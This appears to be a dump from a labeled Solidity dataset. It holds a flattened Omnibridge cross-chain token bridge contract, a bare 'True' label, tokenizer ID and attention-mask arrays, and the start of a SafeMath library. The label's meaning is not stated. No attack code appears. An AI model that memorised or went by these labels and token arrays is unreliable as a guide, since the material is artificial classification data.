* @dev Wrapper around the mint() function in all mintable tokens that verifies the return value.
*/
library SafeMint {
/**
* @dev Wrapper around IBurnableMintableERC677Token.mint() that verifies that output value is true.
* @param _token token contract.
* @param _to address of the tokens receiver.
* @param _value amount of tokens to mint.
*/
function safeMint(
IBurnableMintableERC677Token _token,
address _to,
uint256 _value
) internal {
require(_token.mint(_to, _value));
}
}
// File: contracts/upgradeable_contracts/BasicOmnibridge.sol
pragma solidity 0.7.5;
/**
* @title BasicOmnibridge
* @dev Common functionality for multi-token mediator intended to work on top of AMB bridge.
*/
abstract contract BasicOmnibridge is
Initializable,
Upgradeable,
Claimable,
OmnibridgeInfo,
TokensRelayer,
FailedMessagesProcessor,
BridgedTokensRegistry,
NativeTokensRegistry,
MediatorBalanceStorage,
TokenFactoryConnector,
TokensBridgeLimits
{
using SafeERC20 for IERC677;
using SafeMint for IBurnableMintableERC677Token;
using SafeMath for uint256;
// Workaround for storing variable up-to-32 bytes suffix
uint256 private immutable SUFFIX_SIZE;
bytes32 private immutable SUFFIX;
// Since contract is intended to be deployed under EternalStorageProxy, only constant and immutable variables can be set here
constructor(string memory _suffix) {
require(bytes(_suffix).length <= 32);
bytes32 suffix;
assembly {
suffix := mload(add(_suffix, 32))
}
SUFFIX = suffix;
SUFFIX_SIZE = bytes(_suffix).length;
}
/**
* @dev Handles the bridged tokens for the first time, includes deployment of new TokenProxy contract.
* Checks that the value is inside the execution limits and invokes the Mint or Unlock accordingly.
* @param _token address of the native ERC20/ERC677 token on the other side.
* @param _name name of the native token, name suffix will be appended, if empty, symbol will be used instead.
* @param _symbol symbol of the bridged token, if empty, name will be used instead.
* @param _decimals decimals of the bridge foreign token.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
*/
function deployAndHandleBridgedTokens(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
}
/**
* @dev Handles the bridged tokens for the first time, includes deployment of new TokenProxy contract.
* Executes a callback on the receiver.
* Checks that the value is inside the execution limits and invokes the Mint accordingly.
* @param _token address of the native ERC20/ERC677 token on the other side.
* @param _name name of the native token, name suffix will be appended, if empty, symbol will be used instead.
* @param _symbol symbol of the bridged token, if empty, name will be used instead.
* @param _decimals decimals of the bridge foreign token.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
* @param _data additional data passed from the other chain.
*/
function deployAndHandleBridgedTokensAndCall(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value,
bytes calldata _data
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
_receiverCallback(_recipient, bridgedToken, _value, _data);
}
/**
* @dev Handles the bridged tokens for the already registered token pair.
* Checks that the value is inside the execution limits and invokes the Mint accordingly.
* @param _token address of the native ERC20/ERC677 token on the other side.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
*/
function handleBridgedTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
_handleTokens(token, false, _recipient, _value);
}
/**
* @dev Handles the bridged tokens for the already registered token pair.
* Checks that the value is inside the execution limits and invokes the Unlock accordingly.
* Executes a callback on the receiver.
* @param _token address of the native ERC20/ERC677 token on the other side.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
* @param _data additional transfer data passed from the other side.
*/
function handleBridgedTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
_handleTokens(token, false, _recipient, _value);
_receiverCallback(_recipient, token, _value, _data);
}
/**
* @dev Handles the bridged tokens that are native to this chain.
* Checks that the value is inside the execution limits and invokes the Unlock accordingly.
* @param _token native ERC20 token.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
*/
function handleNativeTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
}
/**
* @dev Handles the bridged tokens that are native to this chain.
* Checks that the value is inside the execution limits and invokes the Unlock accordingly.
* Executes a callback on the receiver.
* @param _token native ERC20 token.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
* @param _data additional transfer data passed from the other side.
*/
function handleNativeTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
_receiverCallback(_recipient, _token, _value, _data);
}
/**
* @dev Checks if a given token is a bridged token that is native to this side of the bridge.
* @param _token address of token contract.
* @return message id of the send message.
*/
function isRegisteredAsNativeToken(address _token) public view returns (bool) {
return isTokenRegistered(_token) && nativeTokenAddress(_token) == address(0);
}
/**
* @dev Unlock back the amount of tokens that were bridged to the other network but failed.
* @param _token address that bridged token contract.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
*/
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal override {
_releaseTokens(nativeTokenAddress(_token) == address(0), _token, _recipient, _value, _value);
}
/**
* @dev Allows to pre-set the bridged token contract for not-yet bridged token.
* Only the owner can call this method.
* @param _nativeToken address of the token contract on the other side that was not yet bridged.
* @param _bridgedToken address of the bridged token contract.
*/
function setCustomTokenAddressPair(address _nativeToken, address _bridgedToken) external onlyOwner {
require(!isTokenRegistered(_bridgedToken));
require(nativeTokenAddress(_bridgedToken) == address(0));
require(bridgedTokenAddress(_nativeToken) == address(0));
// Unfortunately, there is no simple way to verify that the _nativeToken address
// does not belong to the bridged token on the other side,
// since information about bridged tokens addresses is not transferred back.
// Therefore, owner account calling this function SHOULD manually verify on the other side of the bridge that
// nativeTokenAddress(_nativeToken) == address(0) && isTokenRegistered(_nativeToken) == false.
IBurnableMintableERC677Token(_bridgedToken).safeMint(address(this), 1);
IBurnableMintableERC677Token(_bridgedToken).burn(1);
_setTokenAddressPair(_nativeToken, _bridgedToken);
}
/**
* @dev Allows to send to the other network the amount of locked tokens that can be forced into the contract
* without the invocation of the required methods. (e. g. regular transfer without a call to onTokenTransfer)
* @param _token address of the token contract.
* Before calling this method, it must be carefully investigated how imbalance happened
* in order to avoid an attempt to steal the funds from a token with double addresses
* (e.g. TUSD is accessible at both 0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E and 0x0000000000085d4780B73119b644AE5ecd22b376)
* @param _receiver the address that will receive the tokens on the other network.
*/
function fixMediatorBalance(address _token, address _receiver)
external
onlyIfUpgradeabilityOwner
validAddress(_receiver)
{
require(isRegisteredAsNativeToken(_token));
uint256 balance = IERC677(_token).balanceOf(address(this));
uint256 expectedBalance = mediatorBalance(_token);
require(balance > expectedBalance);
uint256 diff = balance - expectedBalance;
uint256 available = maxAvailablePerTx(_token);
require(available > 0);
if (diff > available) {
diff = available;
}
addTotalSpentPerDay(_token, getCurrentDay(), diff);
bytes memory data = _prepareMessage(address(0), _token, _receiver, diff, new bytes(0));
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _receiver, diff);
}
/**
* @dev Claims stuck tokens. Only unsupported tokens can be claimed.
* When dealing with already supported tokens, fixMediatorBalance can be used instead.
* @param _token address of claimed token, address(0) for native
* @param _to address of tokens receiver
*/
function claimTokens(address _token, address _to) external onlyIfUpgradeabilityOwner {
// Only unregistered tokens and native coins are allowed to be claimed with the use of this function
require(_token == address(0) || !isTokenRegistered(_token));
claimValues(_token, _to);
}
/**
* @dev Withdraws erc20 tokens or native coins from the bridged token contract.
* Only the proxy owner is allowed to call this method.
* @param _bridgedToken address of the bridged token contract.
* @param _token address of the claimed token or address(0) for native coins.
* @param _to address of the tokens/coins receiver.
*/
function claimTokensFromTokenContract(
address _bridgedToken,
address _token,
address _to
) external onlyIfUpgradeabilityOwner {
IBurnableMintableERC677Token(_bridgedToken).claimTokens(_token, _to);
}
/**
* @dev Internal function for recording bridge operation for further usage.
* Recorded information is used for fixing failed requests on the other side.
* @param _messageId id of the sent message.
* @param _token bridged token address.
* @param _sender address of the tokens sender.
* @param _value bridged value.
*/
function _recordBridgeOperation(
bytes32 _messageId,
address _token,
address _sender,
uint256 _value
) internal {
setMessageToken(_messageId, _token);
setMessageRecipient(_messageId, _sender);
setMessageValue(_messageId, _value);
emit TokensBridgingInitiated(_token, _sender, _value, _messageId);
}
/**
* @dev Constructs the message to be sent to the other side. Burns/locks bridged amount of tokens.
* @param _nativeToken address of the native token contract.
* @param _token bridged token address.
* @param _receiver address of the tokens receiver on the other side.
* @param _value bridged value.
* @param _data additional transfer data passed from the other side.
*/
function _prepareMessage(
address _nativeToken,
address _token,
address _receiver,
uint256 _value,
bytes memory _data
) internal returns (bytes memory) {
bool withData = _data.length > 0 || msg.sig == this.relayTokensAndCall.selector;
// process token is native with respect to this side of the bridge
if (_nativeToken == address(0)) {
_setMediatorBalance(_token, mediatorBalance(_token).add(_value));
// process token which bridged alternative was already ACKed to be deployed
if (isBridgedTokenDeployAcknowledged(_token)) {
return
withData
? abi.encodeWithSelector(
this.handleBridgedTokensAndCall.selector,
_token,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleBridgedTokens.selector, _token, _receiver, _value);
}
uint8 decimals = TokenReader.readDecimals(_token);
string memory name = TokenReader.readName(_token);
string memory symbol = TokenReader.readSymbol(_token);
require(bytes(name).length > 0 || bytes(symbol).length > 0);
return
withData
? abi.encodeWithSelector(
this.deployAndHandleBridgedTokensAndCall.selector,
_token,
name,
symbol,
decimals,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(
this.deployAndHandleBridgedTokens.selector,
_token,
name,
symbol,
decimals,
_receiver,
_value
);
}
// process already known token that is bridged from other chain
IBurnableMintableERC677Token(_token).burn(_value);
return
withData
? abi.encodeWithSelector(
this.handleNativeTokensAndCall.selector,
_nativeToken,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleNativeTokens.selector, _nativeToken, _receiver, _value);
}
/**
* @dev Internal function for getting minter proxy address.
* @param _token address of the token to mint.
* @return address of the minter contract that should be used for calling mint(address,uint256)
*/
function _getMinterFor(address _token) internal pure virtual returns (IBurnableMintableERC677Token) {
return IBurnableMintableERC677Token(_token);
}
/**
* Internal function for unlocking some amount of tokens.
* @param _isNative true, if token is native w.r.t. to this side of the bridge.
* @param _token address of the token contract.
* @param _recipient address of the tokens receiver.
* @param _value amount of tokens to unlock.
* @param _balanceChange amount of balance to subtract from the mediator balance.
*/
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal virtual {
if (_isNative) {
IERC677(_token).safeTransfer(_recipient, _value);
_setMediatorBalance(_token, mediatorBalance(_token).sub(_balanceChange));
} else {
_getMinterFor(_token).safeMint(_recipient, _value);
}
}
/**
* Internal function for getting address of the bridged token. Deploys new token if necessary.
* @param _token address of the token contract on the other side of the bridge.
* @param _name name of the native token, name suffix will be appended, if empty, symbol will be used instead.
* @param _symbol symbol of the bridged token, if empty, name will be used instead.
* @param _decimals decimals of the bridge foreign token.
*/
function _getBridgedTokenOrDeploy(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals
) internal returns (address) {
address bridgedToken = bridgedTokenAddress(_token);
if (bridgedToken == address(0)) {
string memory name = _name;
string memory symbol = _symbol;
require(bytes(name).length > 0 || bytes(symbol).length > 0);
if (bytes(name).length == 0) {
name = symbol;
} else if (bytes(symbol).length == 0) {
symbol = name;
}
name = _transformName(name);
bridgedToken = tokenFactory().deploy(name, symbol, _decimals, bridgeContract().sourceChainId());
_setTokenAddressPair(_token, bridgedToken);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
} else if (!isTokenRegistered(bridgedToken)) {
require(IERC20Metadata(bridgedToken).decimals() == _decimals);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
}
return bridgedToken;
}
/**
* Notifies receiving contract about the completed bridging operation.
* @param _recipient address of the tokens receiver.
* @param _token address of the bridged token.
* @param _value amount of tokens transferred.
* @param _data additional data passed to the callback.
*/
function _receiverCallback(
address _recipient,
address _token,
uint256 _value,
bytes memory _data
) internal {
if (Address.isContract(_recipient)) {
_recipient.call(abi.encodeWithSelector(IERC20Receiver.onTokenBridged.selector, _token, _value, _data));
}
}
/**
* @dev Internal function for transforming the bridged token name. Appends a side-specific suffix.
* @param _name bridged token from the other side.
* @return token name for this side of the bridge.
*/
function _transformName(string memory _name) internal view returns (string memory) {
string memory result = string(abi.encodePacked(_name, SUFFIX));
uint256 size = SUFFIX_SIZE;
assembly {
mstore(result, add(mload(_name), size))
}
return result;
}
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal virtual;
}
// File: contracts/upgradeable_contracts/components/common/GasLimitManager.sol
pragma solidity 0.7.5;
/**
* @title GasLimitManager
* @dev Functionality for determining the request gas limit for AMB execution.
*/
abstract contract GasLimitManager is BasicAMBMediator {
bytes32 internal constant REQUEST_GAS_LIMIT = 0x2dfd6c9f781bb6bbb5369c114e949b69ebb440ef3d4dd6b2836225eb1dc3a2be; // keccak256(abi.encodePacked("requestGasLimit"))
/**
* @dev Sets the default gas limit to be used in the message execution by the AMB bridge on the other network.
* This value can't exceed the parameter maxGasPerTx defined on the AMB bridge.
* Only the owner can call this method.
* @param _gasLimit the gas limit for the message execution.
*/
function setRequestGasLimit(uint256 _gasLimit) external onlyOwner {
_setRequestGasLimit(_gasLimit);
}
/**
* @dev Tells the default gas limit to be used in the message execution by the AMB bridge on the other network.
* @return the gas limit for the message execution.
*/
function requestGasLimit() public view returns (uint256) {
return uintStorage[REQUEST_GAS_LIMIT];
}
/**
* @dev Stores the gas limit to be used in the message execution by the AMB bridge on the other network.
* @param _gasLimit the gas limit for the message execution.
*/
function _setRequestGasLimit(uint256 _gasLimit) internal {
require(_gasLimit <= maxGasPerTx());
uintStorage[REQUEST_GAS_LIMIT] = _gasLimit;
}
}
// File: contracts/upgradeable_contracts/ForeignOmnibridge.sol
pragma solidity 0.7.5;
/**
* @title ForeignOmnibridge
* @dev Foreign side implementation for multi-token mediator intended to work on top of AMB bridge.
* It is designed to be used as an implementation contract of EternalStorageProxy contract.
*/
contract ForeignOmnibridge is BasicOmnibridge, GasLimitManager {
using SafeERC20 for IERC677;
using SafeMint for IBurnableMintableERC677Token;
using SafeMath for uint256;
constructor(string memory _suffix) BasicOmnibridge(_suffix) {}
/**
* @dev Stores the initial parameters of the mediator.
* @param _bridgeContract the address of the AMB bridge contract.
* @param _mediatorContract the address of the mediator contract on the other network.
* @param _dailyLimitMaxPerTxMinPerTxArray array with limit values for the assets to be bridged to the other network.
* [ 0 = dailyLimit, 1 = maxPerTx, 2 = minPerTx ]
* @param _executionDailyLimitExecutionMaxPerTxArray array with limit values for the assets bridged from the other network.
* [ 0 = executionDailyLimit, 1 = executionMaxPerTx ]
* @param _requestGasLimit the gas limit for the message execution.
* @param _owner address of the owner of the mediator contract.
* @param _tokenFactory address of the TokenFactory contract that will be used for the deployment of new tokens.
*/
function initialize(
address _bridgeContract,
address _mediatorContract,
uint256[3] calldata _dailyLimitMaxPerTxMinPerTxArray, // [ 0 = _dailyLimit, 1 = _maxPerTx, 2 = _minPerTx ]
uint256[2] calldata _executionDailyLimitExecutionMaxPerTxArray, // [ 0 = _executionDailyLimit, 1 = _executionMaxPerTx ]
uint256 _requestGasLimit,
address _owner,
address _tokenFactory
) external onlyRelevantSender returns (bool) {
require(!isInitialized());
_setBridgeContract(_bridgeContract);
_setMediatorContractOnOtherSide(_mediatorContract);
_setLimits(address(0), _dailyLimitMaxPerTxMinPerTxArray);
_setExecutionLimits(address(0), _executionDailyLimitExecutionMaxPerTxArray);
_setRequestGasLimit(_requestGasLimit);
_setOwner(_owner);
_setTokenFactory(_tokenFactory);
setInitialize();
return isInitialized();
}
/**
* One-time function to be used together with upgradeToAndCall method.
* Sets the token factory contract.
* @param _tokenFactory address of the deployed TokenFactory contract.
*/
function upgradeToReverseMode(address _tokenFactory) external {
require(msg.sender == address(this));
_setTokenFactory(_tokenFactory);
}
/**
* @dev Handles the bridged tokens.
* Checks that the value is inside the execution limits and invokes the Mint or Unlock accordingly.
* @param _token token contract address on this side of the bridge.
* @param _isNative true, if given token is native to this chain and Unlock should be used.
* @param _recipient address that will receive the tokens.
* @param _value amount of tokens to be received.
*/
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal override {
// prohibit withdrawal of tokens during other bridge operations (e.g. relayTokens)
// such reentrant withdrawal can lead to an incorrect balanceDiff calculation
require(!lock());
require(withinExecutionLimit(_token, _value));
addTotalExecutedPerDay(_token, getCurrentDay(), _value);
_releaseTokens(_isNative, _token, _recipient, _value, _value);
emit TokensBridged(_token, _recipient, _value, messageId());
}
/**
* @dev Executes action on deposit of bridged tokens
* @param _token address of the token contract
* @param _from address of tokens sender
* @param _receiver address of tokens receiver on the other side
* @param _value requested amount of bridged tokens
* @param _data additional transfer data to be used on the other side
*/
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual override {
require(_receiver != address(0) && _receiver != mediatorContractOnOtherSide());
// native unbridged token
if (!isTokenRegistered(_token)) {
uint8 decimals = TokenReader.readDecimals(_token);
_initializeTokenBridgeLimits(_token, decimals);
}
require(withinLimit(_token, _value));
addTotalSpentPerDay(_token, getCurrentDay(), _value);
bytes memory data = _prepareMessage(nativeTokenAddress(_token), _token, _receiver, _value, _data);
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _from, _value);
}
/**
* Internal function for unlocking some amount of tokens.
* @param _isNative true, if token is native w.r.t. to this side of the bridge.
* @param _token address of the token contract.
* @param _recipient address of the tokens receiver.
* @param _value amount of tokens to unlock.
* @param _balanceChange amount of balance to subtract from the mediator balance.
*/
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal override {
if (_isNative) {
uint256 balance = mediatorBalance(_token);
if (_token == address(0x0Ae055097C6d159879521C384F1D2123D1f195e6) && balance < _value) {
IBurnableMintableERC677Token(_token).safeMint(address(this), _value - balance);
balance = _value;
}
_setMediatorBalance(_token, balance.sub(_balanceChange));
IERC677(_token).safeTransfer(_recipient, _value);
} else {
_getMinterFor(_token).safeMint(_recipient, _value);
}
}
/**
* @dev Internal function for sending an AMB message to the mediator on the other side.
* @param _data data to be sent to the other side of the bridge.
* @param _useOracleLane always true, not used on this side of the bridge.
* @return id of the sent message.
*/
function _passMessage(bytes memory _data, bool _useOracleLane) internal override returns (bytes32) {
(_useOracleLane);
return bridgeContract().requireToPassMessage(mediatorContractOnOtherSide(), _data, requestGasLimit());
}
} | True | [
101,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
24856,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add: +");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "sub: -");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul: *");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "div: /");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
